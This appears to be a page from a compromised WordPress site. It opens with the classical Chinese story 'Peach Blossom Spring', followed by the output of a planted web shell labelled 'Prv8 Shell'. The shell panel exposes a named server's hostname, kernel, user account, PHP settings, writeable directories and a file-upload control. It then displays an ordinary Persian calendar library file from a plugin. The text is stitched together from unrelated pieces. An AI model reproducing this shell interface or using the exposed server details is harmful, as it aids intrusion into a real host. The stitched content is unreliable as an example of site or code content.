晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/persian-gravity-forms/includes/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/public_html/wp-content/plugins/persian-gravity-forms/includes/lib/jalali.php
<?php
/* In The Name Of Allah */
/** Software Hijri_Shamsi , Solar(Jalali) Date and Time
 * Copyright(C)2011, Reza Gholampanahi , http://jdf.scr.ir
 * version 2.55 :: 1391/08/24 = 1433/12/18 = 2012/11/15
/* [ jdf.php ] version 2.55 ?> Download new version from [ http://jdf.scr.ir ] */
/*--- EDITED BY HANNANStd ---*/

/**/
/*	F	*/
function GF_jdate( $format, $timestamp = '', $none = '', $time_zone = 'Asia/Tehran', $tr_num = 'fa' ) {

	$T_sec = 0;/* <= رفع خطاي زمان سرور ، با اعداد '+' و '-' بر حسب ثانيه */

	if ( $time_zone != 'local' ) {
		date_default_timezone_set( ( $time_zone == '' ) ? 'Asia/Tehran' : $time_zone );
	}

	$ts   = $T_sec + ( ( $timestamp == '' or $timestamp == 'now' ) ? time() : GF_tr_num( $timestamp ) );
	$date = explode( '_', date( 'H_i_j_n_O_P_s_w_Y', $ts ) );
	list( $j_y, $j_m, $j_d ) = GF_gregorian_to_jalali( $date[8], $date[3], $date[2] );
	$doy = ( $j_m < 7 ) ? ( ( $j_m - 1 ) * 31 ) + $j_d - 1 : ( ( $j_m - 7 ) * 30 ) + $j_d + 185;
	$kab = ( $j_y % 33 % 4 - 1 == (int) ( $j_y % 33 * .05 ) ) ? 1 : 0;
	$sl  = strlen( $format );
	$out = '';

	for ( $i = 0; $i < $sl; $i ++ ) {
		$sub = substr( $format, $i, 1 );
		if ( $sub == '\\' ) {
			$out .= substr( $format, ++ $i, 1 );
			continue;
		}

		switch ( $sub ) {
			case'E':
			case'R':
			case'x':
			case'X':
				$out .= 'http://jdf.scr.ir';
				break;

			case'B':
			case'e':
			case'g':
			case'G':
			case'h':
			case'I':
			case'T':
			case'u':
			case'Z':
				$out .= date( $sub, $ts );
				break;

			case'a':
				$out .= ( $date[0] < 12 ) ? 'ق.ظ' : 'ب.ظ';
				break;

			case'A':
				$out .= ( $date[0] < 12 ) ? 'قبل از ظهر' : 'بعد از ظهر';
				break;

			case'b':
				$out .= (int) ( $j_m / 3.1 ) + 1;
				break;

			case'c':
				$out .= $j_y . '/' . $j_m . '/' . $j_d . ' ،' . $date[0] . ':' . $date[1] . ':' . $date[6] . ' ' . $date[5];
				break;

			case'C':
				$out .= (int) ( ( $j_y + 99 ) / 100 );
				break;

			case'd':
				$out .= ( $j_d < 10 ) ? '0' . $j_d : $j_d;
				break;

			case'D':
				$out .= GF_jdate_words( array( 'kh' => $date[7] ), ' ' );
				break;

			case'f':
				$out .= GF_jdate_words( array( 'ff' => $j_m ), ' ' );
				break;

			case'F':
				$out .= GF_jdate_words( array( 'mm' => $j_m ), ' ' );
				break;

			case'H':
				$out .= $date[0];
				break;

			case'i':
				$out .= $date[1];
				break;

			case'j':
				$out .= $j_d;
				break;

			case'J':
				$out .= GF_jdate_words( array( 'rr' => $j_d ), ' ' );
				break;

			case'k';
				$out .= GF_tr_num( 100 - (int) ( $doy / ( $kab + 365 ) * 1000 ) / 10, $tr_num );
				break;

			case'K':
				$out .= GF_tr_num( (int) ( $doy / ( $kab + 365 ) * 1000 ) / 10, $tr_num );
				break;

			case'l':
				$out .= GF_jdate_words( array( 'rh' => $date[7] ), ' ' );
				break;

			case'L':
				$out .= $kab;
				break;

			case'm':
				$out .= ( $j_m > 9 ) ? $j_m : '0' . $j_m;
				break;

			case'M':
				$out .= GF_jdate_words( array( 'km' => $j_m ), ' ' );
				break;

			case'n':
				$out .= $j_m;
				break;

			case'N':
				$out .= $date[7] + 1;
				break;

			case'o':
				$jdw = ( $date[7] == 6 ) ? 0 : $date[7] + 1;
				$dny = 364 + $kab - $doy;
				$out .= ( $jdw > ( $doy + 3 ) and $doy < 3 ) ? $j_y - 1 : ( ( ( 3 - $dny ) > $jdw and $dny < 3 ) ? $j_y + 1 : $j_y );
				break;

			case'O':
				$out .= $date[4];
				break;

			case'p':
				$out .= GF_jdate_words( array( 'mb' => $j_m ), ' ' );
				break;

			case'P':
				$out .= $date[5];
				break;

			case'q':
				$out .= GF_jdate_words( array( 'sh' => $j_y ), ' ' );
				break;

			case'Q':
				$out .= $kab + 364 - $doy;
				break;

			case'r':
				$key = GF_jdate_words( array( 'rh' => $date[7], 'mm' => $j_m ) );
				$out .= $date[0] . ':' . $date[1] . ':' . $date[6] . ' ' . $date[4] . ' ' . $key['rh'] . '، ' . $j_d . ' ' . $key['mm'] . ' ' . $j_y;
				break;

			case's':
				$out .= $date[6];
				break;

			case'S':
				$out .= 'ام';
				break;

			case't':
				$out .= ( $j_m != 12 ) ? ( 31 - (int) ( $j_m / 6.5 ) ) : ( $kab + 29 );
				break;

			case'U':
				$out .= $ts;
				break;

			case'v':
				$out .= GF_jdate_words( array( 'ss' => substr( $j_y, 2, 2 ) ), ' ' );
				break;

			case'V':
				$out .= GF_jdate_words( array( 'ss' => $j_y ), ' ' );
				break;

			case'w':
				$out .= ( $date[7] == 6 ) ? 0 : $date[7] + 1;
				break;

			case'W':
				$avs = ( ( $date[7] == 6 ) ? 0 : $date[7] + 1 ) - ( $doy % 7 );
				if ( $avs < 0 ) {
					$avs += 7;
				}
				$num = (int) ( ( $doy + $avs ) / 7 );
				if ( $avs < 4 ) {
					$num ++;
				} elseif ( $num < 1 ) {
					$num = ( $avs == 4 or $avs == ( ( $j_y % 33 % 4 - 2 == (int) ( $j_y % 33 * .05 ) ) ? 5 : 4 ) ) ? 53 : 52;
				}
				$aks = $avs + $kab;
				if ( $aks == 7 ) {
					$aks = 0;
				}
				$out .= ( ( $kab + 363 - $doy ) < $aks and $aks < 3 ) ? '01' : ( ( $num < 10 ) ? '0' . $num : $num );
				break;

			case'y':
				$out .= substr( $j_y, 2, 2 );
				break;

			case'Y':
				$out .= $j_y;
				break;

			case'z':
				$out .= $doy;
				break;

			default:
				$out .= $sub;
		}
	}

	return ( $tr_num != 'en' ) ? GF_tr_num( $out, 'fa', '.' ) : $out;
}

/*	F	*/
function GF_jstrftime( $format, $timestamp = '', $none = '', $time_zone = 'Asia/Tehran', $tr_num = 'fa' ) {

	$T_sec = 0;/* <= رفع خطاي زمان سرور ، با اعداد '+' و '-' بر حسب ثانيه */
	if ( $time_zone != 'local' ) {
		date_default_timezone_set( ( $time_zone == '' ) ? 'Asia/Tehran' : $time_zone );
	}

	$ts   = $T_sec + ( ( $timestamp == '' or $timestamp == 'now' ) ? time() : GF_tr_num( $timestamp ) );
	$date = explode( '_', date( 'h_H_i_j_n_s_w_Y', $ts ) );
	list( $j_y, $j_m, $j_d ) = GF_gregorian_to_jalali( $date[7], $date[4], $date[3] );
	$doy = ( $j_m < 7 ) ? ( ( $j_m - 1 ) * 31 ) + $j_d - 1 : ( ( $j_m - 7 ) * 30 ) + $j_d + 185;

	$kab = ( $j_y % 33 % 4 - 1 == (int) ( $j_y % 33 * .05 ) ) ? 1 : 0;
	$sl  = strlen( $format );
	$out = '';
	for ( $i = 0; $i < $sl; $i ++ ) {

		$sub = substr( $format, $i, 1 );

		if ( $sub == '%' ) {
			$sub = substr( $format, ++ $i, 1 );
		} else {
			$out .= $sub;
			continue;
		}

		switch ( $sub ) {

			/* Day */
			case'a':
				$out .= GF_jdate_words( array( 'kh' => $date[6] ), ' ' );
				break;

			case'A':
				$out .= GF_jdate_words( array( 'rh' => $date[6] ), ' ' );
				break;

			case'd':
				$out .= ( $j_d < 10 ) ? '0' . $j_d : $j_d;
				break;

			case'e':
				$out .= ( $j_d < 10 ) ? ' ' . $j_d : $j_d;
				break;

			case'j':
				$out .= str_pad( $doy + 1, 3, 0, STR_PAD_LEFT );
				break;

			case'u':
				$out .= $date[6] + 1;
				break;

			case'w':
				$out .= ( $date[6] == 6 ) ? 0 : $date[6] + 1;
				break;

			/* Week */
			case'U':
				$avs = ( ( $date[6] < 5 ) ? $date[6] + 2 : $date[6] - 5 ) - ( $doy % 7 );
				if ( $avs < 0 ) {
					$avs += 7;
				}
				$num = (int) ( ( $doy + $avs ) / 7 ) + 1;
				if ( $avs > 3 or $avs == 1 ) {
					$num --;
				}
				$out .= ( $num < 10 ) ? '0' . $num : $num;
				break;

			case'V':
				$avs = ( ( $date[6] == 6 ) ? 0 : $date[6] + 1 ) - ( $doy % 7 );

				if ( $avs < 0 ) {
					$avs += 7;
				}
				$num = (int) ( ( $doy + $avs ) / 7 );

				if ( $avs < 4 ) {
					$num ++;
				} elseif ( $num < 1 ) {
					$num = ( $avs == 4 or $avs == ( ( $j_y % 33 % 4 - 2 == (int) ( $j_y % 33 * .05 ) ) ? 5 : 4 ) ) ? 53 : 52;
				}

				$aks = $avs + $kab;
				if ( $aks == 7 ) {
					$aks = 0;
				}
				$out .= ( ( $kab + 363 - $doy ) < $aks and $aks < 3 ) ? '01' : ( ( $num < 10 ) ? '0' . $num : $num );
				break;

			case'W':
				$avs = ( ( $date[6] == 6 ) ? 0 : $date[6] + 1 ) - ( $doy % 7 );
				if ( $avs < 0 ) {
					$avs += 7;
				}
				$num = (int) ( ( $doy + $avs ) / 7 ) + 1;
				if ( $avs > 3 ) {
					$num --;
				}
				$out .= ( $num < 10 ) ? '0' . $num : $num;
				break;

			/* Month */
			case'b':
			case'h':
				$out .= GF_jdate_words( array( 'km' => $j_m ), ' ' );
				break;

			case'B':
				$out .= GF_jdate_words( array( 'mm' => $j_m ), ' ' );
				break;

			case'm':
				$out .= ( $j_m > 9 ) ? $j_m : '0' . $j_m;
				break;

			/* Year */
			case'C':
				$out .= substr( $j_y, 0, 2 );
				break;

			case'g':
				$jdw = ( $date[6] == 6 ) ? 0 : $date[6] + 1;
				$dny = 364 + $kab - $doy;
				$out .= substr( ( $jdw > ( $doy + 3 ) and $doy < 3 ) ? $j_y - 1 : ( ( ( 3 - $dny ) > $jdw and $dny < 3 ) ? $j_y + 1 : $j_y ), 2, 2 );
				break;

			case'G':
				$jdw = ( $date[6] == 6 ) ? 0 : $date[6] + 1;
				$dny = 364 + $kab - $doy;
				$out .= ( $jdw > ( $doy + 3 ) and $doy < 3 ) ? $j_y - 1 : ( ( ( 3 - $dny ) > $jdw and $dny < 3 ) ? $j_y + 1 : $j_y );
				break;

			case'y':
				$out .= substr( $j_y, 2, 2 );
				break;

			case'Y':
				$out .= $j_y;
				break;

			/* Time */
			case'H':
				$out .= $date[1];
				break;

			case'I':
				$out .= $date[0];
				break;

			case'l':
				$out .= ( $date[0] > 9 ) ? $date[0] : ' ' . (int) $date[0];
				break;

			case'M':
				$out .= $date[2];
				break;

			case'p':
				$out .= ( $date[1] < 12 ) ? 'قبل از ظهر' : 'بعد از ظهر';
				break;

			case'P':
				$out .= ( $date[1] < 12 ) ? 'ق.ظ' : 'ب.ظ';
				break;

			case'r':
				$out .= $date[0] . ':' . $date[2] . ':' . $date[5] . ' ' . ( ( $date[1] < 12 ) ? 'قبل از ظهر' : 'بعد از ظهر' );
				break;

			case'R':
				$out .= $date[1] . ':' . $date[2];
				break;

			case'S':
				$out .= $date[5];
				break;

			case'T':
				$out .= $date[1] . ':' . $date[2] . ':' . $date[5];
				break;

			case'X':
				$out .= $date[0] . ':' . $date[2] . ':' . $date[5];
				break;

			case'z':
				$out .= date( 'O', $ts );
				break;

			case'Z':
				$out .= date( 'T', $ts );
				break;

			/* Time and Date Stamps */
			case'c':
				$key = GF_jdate_words( array( 'rh' => $date[6], 'mm' => $j_m ) );
				$out .= $date[1] . ':' . $date[2] . ':' . $date[5] . ' ' . date( 'P', $ts ) . ' ' . $key['rh'] . '، ' . $j_d . ' ' . $key['mm'] . ' ' . $j_y;
				break;

			case'D':
				$out .= substr( $j_y, 2, 2 ) . '/' . ( ( $j_m > 9 ) ? $j_m : '0' . $j_m ) . '/' . ( ( $j_d < 10 ) ? '0' . $j_d : $j_d );
				break;

			case'F':
				$out .= $j_y . '-' . ( ( $j_m > 9 ) ? $j_m : '0' . $j_m ) . '-' . ( ( $j_d < 10 ) ? '0' . $j_d : $j_d );
				break;

			case's':
				$out .= $ts;
				break;

			case'x':
				$out .= substr( $j_y, 2, 2 ) . '/' . ( ( $j_m > 9 ) ? $j_m : '0' . $j_m ) . '/' . ( ( $j_d < 10 ) ? '0' . $j_d : $j_d );
				break;

			/* Miscellaneous */
			case'n':
				$out .= "\n";
				break;

			case't':
				$out .= "\t";
				break;

			case'%':
				$out .= '%';
				break;

			default:
				$out .= $sub;
		}
	}

	return ( $tr_num != 'en' ) ? GF_tr_num( $out, 'fa', '.' ) : $out;
}

/*	F	*/
function GF_jmktime( $h = '', $m = '', $s = '', $jm = '', $jd = '', $jy = '', $is_dst = - 1 ) {
	$h  = GF_tr_num( $h );
	$m  = GF_tr_num( $m );
	$s  = GF_tr_num( $s );
	$jm = GF_tr_num( $jm );
	$jd = GF_tr_num( $jd );
	$jy = GF_tr_num( $jy );
	if ( $h == '' and $m == '' and $s == '' and $jm == '' and $jd == '' and $jy == '' ) {
		return mktime();
	} else {
		list( $year, $month, $day ) = GF_jalali_to_gregorian( $jy, $jm, $jd );

		return mktime( $h, $m, $s, $month, $day, $year, $is_dst );
	}
}


/*	F	*/
function GF_jgetdate( $timestamp = '', $none = '', $tz = 'Asia/Tehran', $tn = 'en' ) {
	$ts    = ( $timestamp == '' ) ? time() : GF_tr_num( $timestamp );
	$jdate = explode( '_', GF_jdate( 'F_G_i_j_l_n_s_w_Y_z', $ts, '', $tz, $tn ) );

	return array(
		'seconds' => GF_tr_num( (int) GF_tr_num( $jdate[6] ), $tn ),
		'minutes' => GF_tr_num( (int) GF_tr_num( $jdate[2] ), $tn ),
		'hours'   => $jdate[1],
		'mday'    => $jdate[3],
		'wday'    => $jdate[7],
		'mon'     => $jdate[5],
		'year'    => $jdate[8],
		'yday'    => $jdate[9],
		'weekday' => $jdate[4],
		'month'   => $jdate[0],
		0         => GF_tr_num( $ts, $tn )
	);
}

/*	F	*/
function GF_jcheckdate( $jm, $jd, $jy ) {
	$jm  = GF_tr_num( $jm );
	$jd  = GF_tr_num( $jd );
	$jy  = GF_tr_num( $jy );
	$l_d = ( $jm == 12 ) ? ( ( $jy % 33 % 4 - 1 == (int) ( $jy % 33 * .05 ) ) ? 30 : 29 ) : 31 - (int) ( $jm / 6.5 );

	return ( $jm > 0 and $jd > 0 and $jy > 0 and $jm < 13 and $jd <= $l_d ) ? true : false;
}

/*	F	*/
function GF_tr_num( $str, $mod = 'en', $mf = '٫' ) {
	$num_a = array( '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '.' );
	$key_a = array( '۰', '۱', '۲', '۳', '۴', '۵', '۶', '۷', '۸', '۹', $mf );

	return ( $mod == 'fa' ) ? str_replace( $num_a, $key_a, $str ) : str_replace( $key_a, $num_a, $str );
}

/*	F	*/
function GF_jdate_words( $array, $mod = '' ) {
	foreach ( $array as $type => $num ) {
		$num = (int) GF_tr_num( $num );
		switch ( $type ) {
			case'ss':
				$sl  = strlen( $num );
				$xy3 = substr( $num, 2 - $sl, 1 );
				$h3  = $h34 = $h4 = '';
				if ( $xy3 == 1 ) {
					$p34 = '';
					$k34 = array(
						'ده',
						'یازده',
						'دوازده',
						'سیزده',
						'چهارده',
						'پانزده',
						'شانزده',
						'هفده',
						'هجده',
						'نوزده'
					);
					$h34 = $k34[ substr( $num, 2 - $sl, 2 ) - 10 ];
				} else {
					$xy4 = substr( $num, 3 - $sl, 1 );
					$p34 = ( $xy3 == 0 or $xy4 == 0 ) ? '' : ' و ';
					$k3  = array( '', '', 'بیست', 'سی', 'چهل', 'پنجاه', 'شصت', 'هفتاد', 'هشتاد', 'نود' );
					$h3  = $k3[ $xy3 ];
					$k4  = array( '', 'یک', 'دو', 'سه', 'چهار', 'پنج', 'شش', 'هفت', 'هشت', 'نه' );
					$h4  = $k4[ $xy4 ];
				}
				$array[ $type ] = ( ( $num > 99 ) ? str_ireplace( array( '12', '13', '14', '19', '20' ),
							array( 'هزار و دویست', 'هزار و سیصد', 'هزار و چهارصد', 'هزار و نهصد', 'دوهزار' ),
							substr( $num, 0, 2 ) ) . ( ( substr( $num, 2, 2 ) == '00' ) ? '' : ' و ' ) : '' ) . $h3 . $p34 . $h34 . $h4;
				break;

			case'mm':
				$key            = array(
					'فروردین',
					'اردیبهشت',
					'خرداد',
					'تیر',
					'مرداد',
					'شهریور',
					'مهر',
					'آبان',
					'آذر',
					'دی',
					'بهمن',
					'اسفند'
				);
				$array[ $type ] = $key[ $num - 1 ];
				break;

			case'rr':
				$key            = array(
					'یک',
					'دو',
					'سه',
					'چهار',
					'پنج',
					'شش',
					'هفت',
					'هشت',
					'نه',
					'ده',
					'یازده',
					'دوازده',
					'سیزده',
					'چهارده',
					'پانزده',
					'شانزده',
					'هفده',
					'هجده',
					'نوزده',
					'بیست',
					'بیست و یک',
					'بیست و دو',
					'بیست و سه',
					'بیست و چهار',
					'بیست و پنج',
					'بیست و شش',
					'بیست و هفت',
					'بیست و هشت',
					'بیست و نه',
					'سی',
					'سی و یک'
				);
				$array[ $type ] = $key[ $num - 1 ];
				break;

			case'rh':
				$key            = array( 'یکشنبه', 'دوشنبه', 'سه شنبه', 'چهارشنبه', 'پنجشنبه', 'جمعه', 'شنبه' );
				$array[ $type ] = $key[ $num ];
				break;

			case'sh':
				$key            = array(
					'مار',
					'اسب',
					'گوسفند',
					'میمون',
					'مرغ',
					'سگ',
					'خوک',
					'موش',
					'گاو',
					'پلنگ',
					'خرگوش',
					'نهنگ'
				);
				$array[ $type ] = $key[ $num % 12 ];
				break;

			case'mb':
				$key            = array(
					'حمل',
					'ثور',
					'جوزا',
					'سرطان',
					'اسد',
					'سنبله',
					'میزان',
					'عقرب',
					'قوس',
					'جدی',
					'دلو',
					'حوت'
				);
				$array[ $type ] = $key[ $num - 1 ];
				break;

			case'ff':
				$key            = array( 'بهار', 'تابستان', 'پاییز', 'زمستان' );
				$array[ $type ] = $key[ (int) ( $num / 3.1 ) ];
				break;

			case'km':
				$key            = array( 'فر', 'ار', 'خر', 'تی‍', 'مر', 'شه‍', 'مه‍', 'آب‍', 'آذ', 'دی', 'به‍', 'اس‍' );
				$array[ $type ] = $key[ $num - 1 ];
				break;

			case'kh':
				$key            = array( 'ی', 'د', 'س', 'چ', 'پ', 'ج', 'ش' );
				$array[ $type ] = $key[ $num ];
				break;

			default:
				$array[ $type ] = $num;
		}
	}

	return ( $mod == '' ) ? $array : implode( $mod, $array );
}

/** Convertor from and to Gregorian and Jalali (Hijri_Shamsi,Solar) Functions
 * Copyright(C)2011, Reza Gholampanahi [ http://jdf.scr.ir/jdf ] version 2.50 */

/*	F	*/
function GF_gregorian_to_jalali( $g_y, $g_m, $g_d, $mod = '' ) {
	$g_y   = GF_tr_num( $g_y );
	$g_m   = GF_tr_num( $g_m );
	$g_d   = GF_tr_num( $g_d );/* <= :اين سطر ، جزء تابع اصلي نيست */
	$d_4   = $g_y % 4;
	$g_a   = array( 0, 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334 );
	$doy_g = $g_a[ (int) $g_m ] + $g_d;
	if ( $d_4 == 0 and $g_m > 2 ) {
		$doy_g ++;
	}
	$d_33 = (int) ( ( ( $g_y - 16 ) % 132 ) * .0305 );
	$a    = ( $d_33 == 3 or $d_33 < ( $d_4 - 1 ) or $d_4 == 0 ) ? 286 : 287;
	$b    = ( ( $d_33 == 1 or $d_33 == 2 ) and ( $d_33 == $d_4 or $d_4 == 1 ) ) ? 78 : ( ( $d_33 == 3 and $d_4 == 0 ) ? 80 : 79 );
	if ( (int) ( ( $g_y - 10 ) / 63 ) == 30 ) {
		$a --;
		$b ++;
	}
	if ( $doy_g > $b ) {
		$jy    = $g_y - 621;
		$doy_j = $doy_g - $b;
	} else {
		$jy    = $g_y - 622;
		$doy_j = $doy_g + $a;
	}
	if ( $doy_j < 187 ) {
		$jm = (int) ( ( $doy_j - 1 ) / 31 );
		$jd = $doy_j - ( 31 * $jm ++ );
	} else {
		$jm = (int) ( ( $doy_j - 187 ) / 30 );
		$jd = $doy_j - 186 - ( $jm * 30 );
		$jm += 7;
	}

	return ( $mod == '' ) ? array( $jy, $jm, $jd ) : $jy . $mod . $jm . $mod . $jd;
}

/*	F	*/
function GF_jalali_to_gregorian( $j_y, $j_m, $j_d, $mod = '' ) {
	$j_y   = GF_tr_num( $j_y );
	$j_m   = GF_tr_num( $j_m );
	$j_d   = GF_tr_num( $j_d );/* <= :اين سطر ، جزء تابع اصلي نيست */
	$d_4   = ( $j_y + 1 ) % 4;
	$doy_j = ( $j_m < 7 ) ? ( ( $j_m - 1 ) * 31 ) + $j_d : ( ( $j_m - 7 ) * 30 ) + $j_d + 186;
	$d_33  = (int) ( ( ( $j_y - 55 ) % 132 ) * .0305 );
	$a     = ( $d_33 != 3 and $d_4 <= $d_33 ) ? 287 : 286;
	$b     = ( ( $d_33 == 1 or $d_33 == 2 ) and ( $d_33 == $d_4 or $d_4 == 1 ) ) ? 78 : ( ( $d_33 == 3 and $d_4 == 0 ) ? 80 : 79 );
	if ( (int) ( ( $j_y - 19 ) / 63 ) == 20 ) {
		$a --;
		$b ++;
	}
	if ( $doy_j <= $a ) {
		$gy = $j_y + 621;
		$gd = $doy_j + $b;
	} else {
		$gy = $j_y + 622;
		$gd = $doy_j - $a;
	}
	foreach ( array( 0, 31, ( $gy % 4 == 0 ) ? 29 : 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 ) as $gm => $v ) {
		if ( $gd <= $v ) {
			break;
		}
		$gd -= $v;
	}

	return ( $mod == '' ) ? array( $gy, $gm, $gd ) : $gy . $mod . $gm . $mod . $gd;
}

haha - 2025